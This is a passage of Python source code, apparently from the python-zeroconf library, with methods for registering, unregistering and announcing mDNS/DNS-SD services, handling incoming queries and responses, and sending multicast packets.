register_service(self, info, ttl=_DNS_TTL, allow_name_change=False): 1750 | """Registers service information to the network with a default TTL 1751 | of 60 seconds. Zeroconf will then respond to requests for 1752 | information for that service. The name of the service may be 1753 | changed if needed to make it unique on the network.""" 1754 | self.check_service(info, allow_name_change) 1755 | self.services[info.name.lower()] = info 1756 | if info.type in self.servicetypes: 1757 | self.servicetypes[info.type] += 1 1758 | else: 1759 | self.servicetypes[info.type] = 1 1760 | now = current_time_millis() 1761 | next_time = now 1762 | i = 0 1763 | while i < 3: 1764 | if now < next_time: 1765 | self.wait(next_time - now) 1766 | now = current_time_millis() 1767 | continue 1768 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1769 | out.add_answer_at_time( 1770 | DNSPointer(info.type, _TYPE_PTR, _CLASS_IN, ttl, info.name), 0) 1771 | out.add_answer_at_time( 1772 | DNSService(info.name, _TYPE_SRV, _CLASS_IN, 1773 | ttl, info.priority, info.weight, info.port, 1774 | info.server), 0) 1775 | 1776 | out.add_answer_at_time( 1777 | DNSText(info.name, _TYPE_TXT, _CLASS_IN, ttl, info.text), 0) 1778 | if info.address: 1779 | out.add_answer_at_time( 1780 | DNSAddress(info.server, _TYPE_A, _CLASS_IN, 1781 | ttl, info.address), 0) 1782 | self.send(out) 1783 | i += 1 1784 | next_time += _REGISTER_TIME 1785 | 1786 | def unregister_service(self, info): 1787 | """Unregister a service.""" 1788 | try: 1789 | del self.services[info.name.lower()] 1790 | if self.servicetypes[info.type] > 1: 1791 | self.servicetypes[info.type] -= 1 1792 | else: 1793 | del self.servicetypes[info.type] 1794 | except Exception as e: # TODO stop catching all Exceptions 1795 | log.exception('Unknown error, possibly benign: %r', e) 1796 | now = current_time_millis() 1797 | next_time = now 1798 | i = 0 1799 | while i < 3: 1800 | if now < next_time: 1801 | self.wait(next_time - now) 1802 | now = current_time_millis() 1803 | continue 1804 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1805 | out.add_answer_at_time( 1806 | DNSPointer(info.type, _TYPE_PTR, _CLASS_IN, 0, info.name), 0) 1807 | out.add_answer_at_time( 1808 | DNSService(info.name, _TYPE_SRV, _CLASS_IN, 0, 1809 | info.priority, info.weight, info.port, info.name), 0) 1810 | out.add_answer_at_time( 1811 | DNSText(info.name, _TYPE_TXT, _CLASS_IN, 0, info.text), 0) 1812 | 1813 | if info.address: 1814 | out.add_answer_at_time( 1815 | DNSAddress(info.server, _TYPE_A, _CLASS_IN, 0, 1816 | info.address), 0) 1817 | self.send(out) 1818 | i += 1 1819 | next_time += _UNREGISTER_TIME 1820 | 1821 | def unregister_all_services(self): 1822 | """Unregister all registered services.""" 1823 | if len(self.services) > 0: 1824 | now = current_time_millis() 1825 | next_time = now 1826 | i = 0 1827 | while i < 3: 1828 | if now < next_time: 1829 | self.wait(next_time - now) 1830 | now = current_time_millis() 1831 | continue 1832 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1833 | for info in self.services.values(): 1834 | out.add_answer_at_time(DNSPointer( 1835 | info.type, _TYPE_PTR, _CLASS_IN, 0, info.name), 0) 1836 | out.add_answer_at_time(DNSService( 1837 | info.name, _TYPE_SRV, _CLASS_IN, 0, 1838 | info.priority, info.weight, info.port, info.server), 0) 1839 | out.add_answer_at_time(DNSText( 1840 | info.name, _TYPE_TXT, _CLASS_IN, 0, info.text), 0) 1841 | if info.address: 1842 | out.add_answer_at_time(DNSAddress( 1843 | info.server, _TYPE_A, _CLASS_IN, 0, 1844 | info.address), 0) 1845 | self.send(out) 1846 | i += 1 1847 | next_time += _UNREGISTER_TIME 1848 | 1849 | def check_service(self, info, allow_name_change): 1850 | """Checks the network for a unique service name, modifying the 1851 | ServiceInfo passed in if it is not unique.""" 1852 | 1853 | # This is kind of funky because of the subtype based tests 1854 | # need to make subtypes a first class citizen 1855 | service_name = service_type_name(info.name) 1856 | if not info.type.endswith(service_name): 1857 | raise BadTypeInNameException 1858 | 1859 | instance_name = info.name[:-len(service_name) - 1] 1860 | next_instance_number = 2 1861 | 1862 | now = current_time_millis() 1863 | next_time = now 1864 | i = 0 1865 | while i < 3: 1866 | # check for a name conflict 1867 | while self.cache.current_entry_with_name_and_alias( 1868 | info.type, info.name): 1869 | if not allow_name_change: 1870 | raise NonUniqueNameException 1871 | 1872 | # change the name and look for a conflict 1873 | info.name = '%s-%s.%s' % ( 1874 | instance_name, next_instance_number, info.type) 1875 | next_instance_number += 1 1876 | service_type_name(info.name) 1877 | next_time = now 1878 | i = 0 1879 | 1880 | if now < next_time: 1881 | self.wait(next_time - now) 1882 | now = current_time_millis() 1883 | continue 1884 | 1885 | out = DNSOutgoing(_FLAGS_QR_QUERY | _FLAGS_AA) 1886 | self.debug = out 1887 | out.add_question(DNSQuestion(info.type, _TYPE_PTR, _CLASS_IN)) 1888 | out.add_authorative_answer(DNSPointer( 1889 | info.type, _TYPE_PTR, _CLASS_IN, _DNS_TTL, info.name)) 1890 | self.send(out) 1891 | i += 1 1892 | next_time += _CHECK_TIME 1893 | 1894 | def add_listener(self, listener, question): 1895 | """Adds a listener for a given question. The listener will have 1896 | its update_record method called when information is available to 1897 | answer the question.""" 1898 | now = current_time_millis() 1899 | self.listeners.append(listener) 1900 | if question is not None: 1901 | for record in self.cache.entries_with_name(question.name): 1902 | if question.answered_by(record) and not record.is_expired(now): 1903 | listener.update_record(self, now, record) 1904 | self.notify_all() 1905 | 1906 | def remove_listener(self, listener): 1907 | """Removes a listener.""" 1908 | try: 1909 | self.listeners.remove(listener) 1910 | self.notify_all() 1911 | except Exception as e: # TODO stop catching all Exceptions 1912 | log.exception('Unknown error, possibly benign: %r', e) 1913 | 1914 | def update_record(self, now, rec): 1915 | """Used to notify listeners of new information that has updated 1916 | a record.""" 1917 | for listener in self.listeners: 1918 | listener.update_record(self, now, rec) 1919 | self.notify_all() 1920 | 1921 | def handle_response(self, msg): 1922 | """Deal with incoming response packets. All answers 1923 | are held in the cache, and listeners are notified.""" 1924 | now = current_time_millis() 1925 | for record in msg.answers: 1926 | expired = record.is_expired(now) 1927 | if record in self.cache.entries(): 1928 | if expired: 1929 | self.cache.remove(record) 1930 | else: 1931 | entry = self.cache.get(record) 1932 | if entry is not None: 1933 | entry.reset_ttl(record) 1934 | else: 1935 | self.cache.add(record) 1936 | 1937 | for record in msg.answers: 1938 | self.update_record(now, record) 1939 | 1940 | def handle_query(self, msg, addr, port): 1941 | """Deal with incoming query packets. Provides a response if 1942 | possible.""" 1943 | out = None 1944 | 1945 | # Support unicast client responses 1946 | # 1947 | if port != _MDNS_PORT: 1948 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA, multicast=False) 1949 | for question in msg.questions: 1950 | out.add_question(question) 1951 | 1952 | for question in msg.questions: 1953 | if question.type == _TYPE_PTR: 1954 | if question.name == "_services._dns-sd._udp.local.": 1955 | for stype in self.servicetypes.keys(): 1956 | if out is None: 1957 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1958 | out.add_answer(msg, DNSPointer( 1959 | "_services._dns-sd._udp.local.", _TYPE_PTR, 1960 | _CLASS_IN, _DNS_TTL, stype)) 1961 | for service in self.services.values(): 1962 | if question.name == service.type: 1963 | if out is None: 1964 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1965 | out.add_answer(msg, DNSPointer( 1966 | service.type, _TYPE_PTR, 1967 | _CLASS_IN, _DNS_TTL, service.name)) 1968 | else: 1969 | try: 1970 | if out is None: 1971 | out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA) 1972 | 1973 | # Answer A record queries for any service addresses we know 1974 | if question.type in (_TYPE_A, _TYPE_ANY): 1975 | for service in self.services.values(): 1976 | if service.server == question.name.lower(): 1977 | out.add_answer(msg, DNSAddress( 1978 | question.name, _TYPE_A, 1979 | _CLASS_IN | _CLASS_UNIQUE, 1980 | _DNS_TTL, service.address)) 1981 | 1982 | service = self.services.get(question.name.lower(), None) 1983 | if not service: 1984 | continue 1985 | 1986 | if question.type in (_TYPE_SRV, _TYPE_ANY): 1987 | out.add_answer(msg, DNSService( 1988 | question.name, _TYPE_SRV, _CLASS_IN | _CLASS_UNIQUE, 1989 | _DNS_TTL, service.priority, service.weight, 1990 | service.port, service.server)) 1991 | if question.type in (_TYPE_TXT, _TYPE_ANY): 1992 | out.add_answer(msg, DNSText( 1993 | question.name, _TYPE_TXT, _CLASS_IN | _CLASS_UNIQUE, 1994 | _DNS_TTL, service.text)) 1995 | if question.type == _TYPE_SRV: 1996 | out.add_additional_answer(DNSAddress( 1997 | service.server, _TYPE_A, _CLASS_IN | _CLASS_UNIQUE, 1998 | _DNS_TTL, service.address)) 1999 | except Exception: # TODO stop catching all Exceptions 2000 | self.log_exception_warning() 2001 | 2002 | if out is not None and out.answers: 2003 | out.id = msg.id 2004 | self.send(out, addr, port) 2005 | 2006 | def send(self, out, addr=_MDNS_ADDR, port=_MDNS_PORT): 2007 | """Sends an outgoing packet.""" 2008 | packet = out.packet() 2009 | if len(packet) > _MAX_MSG_ABSOLUTE: 2010 | self.log_warning_once("Dropping %r over-sized packet (%d bytes) %r", 2011 | out, len(packet), packet) 2012 | return 2013 | log.debug('Sending %r (%d bytes) as %r...', out, len(packet), packet) 2014 | for s in self._respond_sockets: 2015 | if self._GLOBAL_DONE: 2016 | return 2017 | try: 2018 | bytes_sent = s.sendto(packet, 0, (addr, port)) 2019 | except Exception: # TODO stop catching all Exceptions 2020 | # on send errors, log the exception and keep going 2021 | self.log_exception_warning() 2022 | else: 2023 | if bytes_sent != len(packet): 2024 | self.log_warning_once( 2025 | '!!! sent %d out of %d bytes to %r' % ( 2026 | bytes_sent, len(packet)), s) 2027 | 2028 | def close(self): 2029 | """Ends the background threads, and prevent this instance from 2030 | servicing further queries.""" 2031 | if not self._GLOBAL_DONE: 2032 | self._GLOBAL_DONE = True 2033 | # remove service listeners 2034 | self.remove_all_service_listeners() 2035 | self.unregister_all_services() 2036 | 2037 | # shutdown recv socket and thread 2038 | self.engine.del_reader(self._listen_socket) 2039 | self._listen_socket.close() 2040 | self.engine.join() 2041 | 2042 | # shutdown the rest 2043 | self.notify_all() 2044 | self.reaper.join() 2045 | for s in self._respond_sockets: 2046 | s.close() 2047 | --------------------------------------------------------------------------------